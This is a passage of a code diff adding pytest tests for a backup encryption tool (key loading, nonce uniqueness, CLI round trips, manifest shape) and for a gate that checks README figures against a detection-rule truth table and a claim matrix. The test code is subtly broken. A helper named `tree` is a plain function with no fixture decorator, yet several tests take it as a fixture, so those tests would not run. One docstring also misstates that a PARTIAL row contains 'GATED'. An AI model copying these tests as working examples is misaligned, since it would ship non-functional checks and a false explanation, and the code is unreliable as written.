+def test_two_encryptions_of_the_same_input_differ() -> None:
+ """A fresh nonce prefix per file; identical dumps must not be linkable."""
+ payload = b"same input"
+ a, b = io.BytesIO(), io.BytesIO()
+ backup_crypt.encrypt_stream(io.BytesIO(payload), a, KEY)
+ backup_crypt.encrypt_stream(io.BytesIO(payload), b, KEY)
+ assert a.getvalue() != b.getvalue()
+ assert roundtrip(payload) == payload
+
+
+class TestKeyLoading:
+ def test_hex_env_var(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("BACKUP_ENCRYPTION_KEY", "ab" * 32)
+ monkeypatch.delenv("BACKUP_ENCRYPTION_KEY_FILE", raising=False)
+ assert backup_crypt.load_key() == bytes.fromhex("ab" * 32)
+
+ def test_key_file_wins(self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
+ path = tmp_path / "key"
+ path.write_text("cd" * 32 + "\n")
+ monkeypatch.setenv("BACKUP_ENCRYPTION_KEY", "ab" * 32)
+ monkeypatch.setenv("BACKUP_ENCRYPTION_KEY_FILE", str(path))
+ assert backup_crypt.load_key() == bytes.fromhex("cd" * 32)
+
+ def test_missing_key_explains_how_to_make_one(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.delenv("BACKUP_ENCRYPTION_KEY", raising=False)
+ monkeypatch.delenv("BACKUP_ENCRYPTION_KEY_FILE", raising=False)
+ with pytest.raises(backup_crypt.BackupCryptError, match="keygen"):
+ backup_crypt.load_key()
+
+ def test_short_key_is_rejected(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("BACKUP_ENCRYPTION_KEY", "ab" * 16)
+ monkeypatch.delenv("BACKUP_ENCRYPTION_KEY_FILE", raising=False)
+ with pytest.raises(backup_crypt.BackupCryptError, match="32 bytes"):
+ backup_crypt.load_key()
+
+ def test_non_hex_key_is_rejected(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("BACKUP_ENCRYPTION_KEY", "not-a-key" * 8)
+ monkeypatch.delenv("BACKUP_ENCRYPTION_KEY_FILE", raising=False)
+ with pytest.raises(backup_crypt.BackupCryptError, match="not hex"):
+ backup_crypt.load_key()
+
+
+class TestCli:
+ def _run(self, args: list[str], key: str | None = KEY.hex()) -> subprocess.CompletedProcess:
+ env = {**os.environ}
+ env.pop("BACKUP_ENCRYPTION_KEY_FILE", None)
+ if key:
+ env["BACKUP_ENCRYPTION_KEY"] = key
+ else:
+ env.pop("BACKUP_ENCRYPTION_KEY", None)
+ return subprocess.run(
+ [sys.executable, str(MODULE_PATH), *args],
+ capture_output=True,
+ text=True,
+ env=env,
+ )
+
+ def test_keygen_emits_a_usable_key(self) -> None:
+ out = self._run(["keygen"], key=None)
+ assert out.returncode == 0
+ assert len(bytes.fromhex(out.stdout.strip())) == 32
+
+ def test_encrypt_then_decrypt_via_cli(self, tmp_path: Path) -> None:
+ source = tmp_path / "dump.sql.gz"
+ source.write_bytes(b"pretend gzip payload" * 500)
+ original = source.read_bytes()
+
+ enc = self._run(["encrypt", str(source), "--output", str(tmp_path / "dump.enc")])
+ assert enc.returncode == 0, enc.stderr
+ plain_sha, cipher_sha, path = enc.stdout.strip().split("\t")
+ assert len(plain_sha) == 64 and len(cipher_sha) == 64
+ assert Path(path).read_bytes() != original
+
+ dec = self._run(["decrypt", path, "--output", str(tmp_path / "out.sql.gz")])
+ assert dec.returncode == 0, dec.stderr
+ assert (tmp_path / "out.sql.gz").read_bytes() == original
+ assert dec.stdout.split("\t")[0] == plain_sha
+
+ def test_cli_reports_a_wrong_key_as_an_error(self, tmp_path: Path) -> None:
+ source = tmp_path / "d.bin"
+ source.write_bytes(b"data")
+ self._run(["encrypt", str(source), "--output", str(tmp_path / "d.enc")])
+ bad = self._run(["decrypt", str(tmp_path / "d.enc")], key=OTHER_KEY.hex())
+ assert bad.returncode == 1
+ assert "Authentication failed" in bad.stderr
+
+ def test_sha256_matches_hashlib(self, tmp_path: Path) -> None:
+ import hashlib
+
+ source = tmp_path / "f.bin"
+ source.write_bytes(b"content")
+ out = self._run(["sha256", str(source)], key=None)
+ assert out.stdout.strip() == hashlib.sha256(b"content").hexdigest()
+
+
+def test_manifest_shape_is_what_restore_reads(tmp_path: Path) -> None:
+ """backup.sh writes this; restore.sh parses it. Keep them agreeing."""
+ manifest = {
+ "timestamp": "20260922T000000Z",
+ "encryption": "aes-256-gcm",
+ "format_version": 1,
+ "artifacts": [
+ {
+ "name": "postgres-20260922T000000Z.sql.gz.enc",
+ "sha256_plaintext": "a" * 64,
+ "sha256_ciphertext": "b" * 64,
+ "encrypted": True,
+ "bytes": 1234,
+ }
+ ],
+ }
+ path = tmp_path / "manifest.json"
+ path.write_text(json.dumps(manifest))
+ doc = json.loads(path.read_text())
+ entry = doc["artifacts"][0]
+ assert entry["sha256_ciphertext"] and entry["encrypted"] is True
+ assert doc["encryption"] == "aes-256-gcm"
diff --git a/tests/test_readme_figures_gate.py b/tests/test_readme_figures_gate.py
new file mode 100644
index 000000000..3366790ed
--- /dev/null
+++ b/tests/test_readme_figures_gate.py
@@ -0,0 +1,111 @@
+"""The README figures gate must actually catch drift.
+
+The README quoted 947 executable detection rules while the generated truth
+table said 833, and 62 GATED claims while the matrix held 72. Both survived
+review because nothing compared the front page to the artifact it was
+summarising. These tests pin that comparison down: a gate that only ever
+passes is indistinguishable from no gate.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+GATES = REPO_ROOT / "scripts" / "readme_gates.py"
+
+
+def _load_gates(tmp_root: Path):
+ """Import readme_gates.py with REPO_ROOT pointed at a scratch tree."""
+ spec = importlib.util.spec_from_file_location("_readme_gates_under_test", GATES)
+ assert spec and spec.loader
+ module = importlib.util.module_from_spec(spec)
+ sys.modules[spec.name] = module
+ spec.loader.exec_module(module)
+
+ module.REPO_ROOT = tmp_root
+ module.README = tmp_root / "README.md"
+ module.TRUTH_TABLE = tmp_root / "docs" / "detections" / "truth-table.md"
+ module.CLAIM_MATRIX = tmp_root / "docs" / "audit" / "CLAIM_TO_GATE_MATRIX.md"
+ return module
+
+
+TRUTH_TABLE = """# truth table
+
+| metric | count |
+|--------|------:|
+| rules on disk (total) | 6991 |
+| **executable (loaded by the engine)** | **833** |
+"""
+
+MATRIX = """# matrix
+
+| claim | source | gate | status | gap |
+|---|---|---|---|---|
+| one | README | ci.yml | GATED | - |
+| two | README | ci.yml | GATED | - |
+| three | README | ci.yml | PARTIAL | worker |
+"""
+
+
+def tree(tmp_path: Path) -> Path:
+ (tmp_path / "docs" / "detections").mkdir(parents=True)
+ (tmp_path / "docs" / "audit").mkdir(parents=True)
+ (tmp_path / "docs" / "detections" / "truth-table.md").write_text(TRUTH_TABLE)
+ (tmp_path / "docs" / "audit" / "CLAIM_TO_GATE_MATRIX.md").write_text(MATRIX)
+ return tmp_path
+
+
+def test_matching_figures_pass(tree: Path) -> None:
+ (tree / "README.md").write_text("833 executable rules today, and 2 GATED / 1 PARTIAL / 0 NO GATE.\n")
+ assert _load_gates(tree).gate_readme_figures() == []
+
+
+def test_inflated_detection_count_fails(tree: Path) -> None:
+ """The exact drift that shipped: README 947 vs truth table 833."""
+ (tree / "README.md").write_text("947 executable rules. 2 GATED / 1 PARTIAL.\n")
+ failures = _load_gates(tree).gate_readme_figures()
+ assert len(failures) == 1
+ assert "947" in failures[0].detail and "833" in failures[0].detail
+
+
+def test_corpus_phrasing_is_also_checked(tree: Path) -> None:
+ """'detection corpus (N rules)' is the README's other spelling of the count."""
+ (tree / "README.md").write_text("the detection corpus (947 rules) fires. 2 GATED / 1 PARTIAL.\n")
+ failures = _load_gates(tree).gate_readme_figures()
+ assert len(failures) == 1
+ assert "947" in failures[0].detail
+
+
+def test_stale_claim_tally_fails(tree: Path) -> None:
+ (tree / "README.md").write_text("833 executable. 62 GATED / 11 PARTIAL / 0 NO GATE.\n")
+ failures = _load_gates(tree).gate_readme_figures()
+ assert len(failures) == 1
+ assert "62" in failures[0].detail and "2 GATED" in failures[0].detail
+
+
+def test_partial_rows_are_not_counted_as_gated(tree: Path) -> None:
+ """A PARTIAL row contains the substring 'GATED' only via 'NO GATE'/'PARTIAL' prose.
+
+ Counting naively would report 3 GATED here and silently inflate the tally,
+ which is the same class of error the gate exists to prevent.
+ """
+ gated, partial = _load_gates(tree)._matrix_counts()
+ assert (gated, partial) == (2, 1)
+
+
+def test_missing_sources_do_not_crash_the_gate(tmp_path: Path) -> None:
+ """A partial checkout should skip these checks, not raise."""
+ (tmp_path / "README.md").write_text("833 executable. 2 GATED / 1 PARTIAL.\n")
+ assert _load_gates(tmp_path).gate_readme_figures() == []
+
+
+def test_live_repo_is_consistent() -> None:
+ """The gate must pass against the real tree, not only fixtures."""
+ module = _load_gates(REPO_ROOT)
+ assert module.gate_readme_figures() == []